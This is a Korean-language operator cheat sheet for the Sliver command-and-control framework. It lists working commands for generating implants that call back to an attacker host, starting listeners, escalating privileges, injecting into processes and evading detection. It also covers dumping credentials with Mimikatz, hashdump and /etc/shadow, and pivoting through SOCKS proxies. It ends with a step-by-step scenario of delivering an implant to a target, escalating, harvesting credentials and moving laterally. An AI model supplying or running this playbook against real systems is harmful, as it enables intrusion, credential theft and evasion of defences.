Sliver
오픈소스 Command & Control (C2) 프레임워크입니다.
설치
Linux
# 공식 설치 스크립트
curl https://sliver.sh/install|sudo bash
# 또는 수동 다운로드
wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
sudo mv sliver-server_linux /usr/local/bin/sliver-server
# 클라이언트도 다운로드
wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-client_linux
chmod +x sliver-client_linux
sudo mv sliver-client_linux /usr/local/bin/sliver
macOS
# Homebrew
brew install sliver
# 또는 공식 스크립트
curl https://sliver.sh/install|sudo bash
Windows
# GitHub Releases에서 다운로드
# https://github.com/BishopFox/sliver/releases
서버 시작
# 서버 시작
sliver-server
# 데몬 모드
sliver-server daemon
# 특정 설정 파일
sliver-server -c /path/to/config.json
클라이언트 연결
# 로컬 서버에 연결
sliver
# 원격 서버에 연결 (설정 파일 필요)
sliver -c /path/to/client-config.cfg
기본 명령어
도움말
sliver > help
sliver > help generate
sliver > help mtls
세션 관리
# 세션 목록
sliver > sessions
# 세션 상세 정보
sliver > sessions -i <SESSION_ID>
# 세션 연결
sliver > use <SESSION_ID>
# 세션 종료
sliver > close
# 백그라운드
sliver > background
Implant 생성
HTTP/HTTPS Implant
# HTTP
sliver > generate --http <LHOST>:<LPORT> --save /tmp --os windows --arch amd64
# HTTPS
sliver > generate --https <LHOST>:<LPORT> --save /tmp --os windows --arch amd64
# 여러 C2 지정
sliver > generate --http <LHOST>:80 --https <LHOST>:443 --save /tmp
mTLS Implant
# mTLS (기본, 가장 안정적)
sliver > generate --mtls <LHOST>:8888 --save /tmp --os windows --arch amd64
# Linux
sliver > generate --mtls <LHOST>:8888 --save /tmp --os linux --arch amd64
# macOS
sliver > generate --mtls <LHOST>:8888 --save /tmp --os darwin --arch amd64
DNS Implant
sliver > generate --dns <DOMAIN> --save /tmp --os windows --arch amd64
WireGuard Implant
sliver > generate --wg <LHOST>:51820 --save /tmp --os windows --arch amd64
추가 옵션
# 이름 지정
sliver > generate --mtls <LHOST>:8888 --name MyImplant --save /tmp
# 실행 형식
sliver > generate --mtls <LHOST>:8888 --format exe --save /tmp
sliver > generate --mtls <LHOST>:8888 --format shared --save /tmp # DLL/SO
sliver > generate --mtls <LHOST>:8888 --format service --save /tmp # Windows Service
sliver > generate --mtls <LHOST>:8888 --format shellcode --save /tmp
# 아키텍처
sliver > generate --mtls <LHOST>:8888 --arch amd64 --save /tmp
sliver > generate --mtls <LHOST>:8888 --arch 386 --save /tmp
# 난독화
sliver > generate --mtls <LHOST>:8888 --skip-symbols --save /tmp
# 재연결 간격
sliver > generate --mtls <LHOST>:8888 --reconnect 60 --save /tmp
# 최대 연결 에러
sliver > generate --mtls <LHOST>:8888 --max-errors 10 --save /tmp
Beacon vs Session
# Session (대화형, 실시간)
sliver > generate --mtls <LHOST>:8888 --save /tmp
# Beacon (비동기, 체크인 기반)
sliver > generate beacon --mtls <LHOST>:8888 --save /tmp --seconds 60 --jitter 30
Listener 시작
mTLS Listener
sliver > mtls --lhost 0.0.0.0 --lport 8888
HTTP/HTTPS Listener
# HTTP
sliver > http --lhost 0.0.0.0 --lport 80
# HTTPS
sliver > https --lhost 0.0.0.0 --lport 443
# 커스텀 인증서
sliver > https --lhost 0.0.0.0 --lport 443 --cert /path/to/cert.pem --key /path/to/key.pem
DNS Listener
sliver > dns --domains example.com --lhost 0.0.0.0
WireGuard Listener
sliver > wg --lhost 0.0.0.0 --lport 51820
여러 Listener
sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > https --lhost 0.0.0.0 --lport 443
sliver > http --lhost 0.0.0.0 --lport 80
Listener 관리
# Listener 목록
sliver > jobs
# Listener 종료
sliver > jobs -k <JOB_ID>
Implant 사용
시스템 정보
# 세션 연결
sliver > use <SESSION_ID>
# 시스템 정보
sliver (SESSION) > info
sliver (SESSION) > whoami
sliver (SESSION) > getpid
sliver (SESSION) > getuid
sliver (SESSION) > getgid
파일 시스템
# 디렉토리
sliver (SESSION) > pwd
sliver (SESSION) > ls
sliver (SESSION) > cd /tmp
sliver (SESSION) > mkdir test
sliver (SESSION) > rm file.txt
sliver (SESSION) > cat file.txt
# 파일 다운로드
sliver (SESSION) > download /path/to/file.txt
sliver (SESSION) > download /path/to/folder ./local-folder
# 파일 업로드
sliver (SESSION) > upload /local/file.txt /remote/path/file.txt
프로세스
# 프로세스 목록
sliver (SESSION) > ps
# 프로세스 ID 찾기
sliver (SESSION) > ps -e chrome
# 프로세스 종료
sliver (SESSION) > kill <PID>
# 프로세스 덤프
sliver (SESSION) > procdump -p <PID>
명령 실행
# 쉘 명령
sliver (SESSION) > shell whoami
sliver (SESSION) > shell ipconfig
sliver (SESSION) > shell "powershell -c Get-Process"
# 대화형 쉘
sliver (SESSION) > interactive
# 종료
exit
권한 상승
# Windows
sliver (SESSION) > getsystem
# Linux
sliver (SESSION) > execute -o /tmp/payload
네트워크
# 네트워크 정보
sliver (SESSION) > ifconfig
sliver (SESSION) > netstat
# 포트 스캔
sliver (SESSION) > portscan <TARGET>
스크린샷
sliver (SESSION) > screenshot
sliver (SESSION) > screenshot -l # 모든 스크린
프로세스 주입
# Shellcode 주입
sliver (SESSION) > execute-shellcode -p <PID> /path/to/shellcode.bin
# DLL 주입
sliver (SESSION) > execute-assembly /path/to/assembly.exe
# Migrate (프로세스 이동)
sliver (SESSION) > migrate <PID>
Pivoting & Tunneling
SOCKS Proxy
# SOCKS5 프록시 시작
sliver (SESSION) > socks5 start
# 프록시 정보
sliver (SESSION) > socks5 list
# 프록시 종료
sliver (SESSION) > socks5 stop -i <PROXY_ID>
Port Forward
# 포트 포워딩
sliver (SESSION) > portfwd add --bind 127.0.0.1:8080 --remote <RHOST>:80
# 목록
sliver (SESSION) > portfwd list
# 삭제
sliver (SESSION) > portfwd rm -i <FORWARD_ID>
Pivoting
# 피봇 추가
sliver (SESSION) > pivots tcp
# 피봇 목록
sliver (SESSION) > pivots
# 피봇 삭제
sliver (SESSION) > pivots -i <PIVOT_ID> --kill
자격증명 수집
Mimikatz
# Mimikatz 실행 (메모리)
sliver (SESSION) > execute-assembly --in-process /path/to/Mimikatz.exe "privilege::debug sekurlsa::logonpasswords"
# 또는 사전 컴파일된 확장
sliver (SESSION) > extensions load /path/to/extension
해시 덤프
# SAM 덤프 (Windows)
sliver (SESSION) > hashdump
# /etc/shadow 읽기 (Linux)
sliver (SESSION) > cat /etc/shadow
Extension & Armory
Extension 로드
# Extension 설치
sliver > armory install all
# Extension 목록
sliver > extensions list
# Extension 로드
sliver > extensions load <NAME>
주요 Extension
# SharpHound (BloodHound)
sliver (SESSION) > execute-assembly /path/to/SharpHound.exe -c All
# Rubeus
sliver (SESSION) > execute-assembly /path/to/Rubeus.exe kerberoast
# Seatbelt
sliver (SESSION) > execute-assembly /path/to/Seatbelt.exe -group=all
Beacon 사용
Beacon 생성
sliver > generate beacon --mtls <LHOST>:8888 --seconds 60 --jitter 30 --save /tmp
Beacon 명령
# 세션과 동일하지만 비동기
sliver (BEACON) > shell whoami
sliver (BEACON) > download /path/to/file
# 즉시 체크인 강제
sliver (BEACON) > checkin
# 인터벌 변경
sliver (BEACON) > interval 120
sliver (BEACON) > jitter 50
Beacon을 Session으로 변환
sliver (BEACON) > interactive
멀티플레이어 모드
Operator 추가
# Operator 생성
sliver > new-operator --name john --lhost <LHOST>
# 설정 파일 생성됨
# /root/.sliver/configs/john_<HOST>.cfg
클라이언트에서 연결
sliver -c john_<HOST>.cfg
C2 Profile
HTTP C2 Profile
# 커스텀 User-Agent
sliver > profiles new --http <LHOST>:80 --name web-profile
sliver > profiles generate --name web-profile --http-header "User-Agent: Mozilla/5.0"
# URL 경로 커스텀
sliver > profiles generate --name web-profile --http-path-prefix "/api/v1"
탐지 회피
Evasion 옵션
# 심볼 제거
sliver > generate --mtls <LHOST>:8888 --skip-symbols --save /tmp
# 난독화
sliver > generate --mtls <LHOST>:8888 --obfuscate --save /tmp
# 서명 제거
sliver > generate --mtls <LHOST>:8888 --disable-sgn --save /tmp
# 사용자 정의 템플릿
sliver > generate --mtls <LHOST>:8888 --template /path/to/template --save /tmp
Shellcode Runner
# Donut으로 변환
donut -a 2 -f /tmp/implant.exe -o /tmp/implant.bin
# 또는 직접 shellcode 생성
sliver > generate --mtls <LHOST>:8888 --format shellcode --save /tmp
실전 시나리오
1단계: Listener 시작
sliver > mtls --lhost 0.0.0.0 --lport 8888
sliver > https --lhost 0.0.0.0 --lport 443
2단계: Implant 생성
sliver > generate --mtls <LHOST>:8888 --https <LHOST>:443 --os windows --arch amd64 --format exe --save /tmp
3단계: 타겟에 전달 및 실행
4단계: 세션 연결
sliver > sessions
sliver > use <SESSION_ID>
5단계: 정찰
sliver (SESSION) > whoami
sliver (SESSION) > getprivs
sliver (SESSION) > ps
sliver (SESSION) > ifconfig
6단계: 권한 상승
sliver (SESSION) > getsystem
7단계: 자격증명 수집
sliver (SESSION) > hashdump
8단계: Lateral Movement
# SOCKS 프록시
sliver (SESSION) > socks5 start
# ProxyChains 설정 후
proxychains impacket-psexec administrator@<TARGET>
참고
- Metasploit보다 가볍고 빠름
- mTLS가 가장 안정적
- Beacon 모드로 탐지 회피
- 멀티플레이어 지원
- Extension으로 확장 가능
- C2 Profile로 커스터마이징
- SOCKS 프록시로 피봇팅
- 크로스 플랫폼 지원
- 오픈소스 및 활발한 개발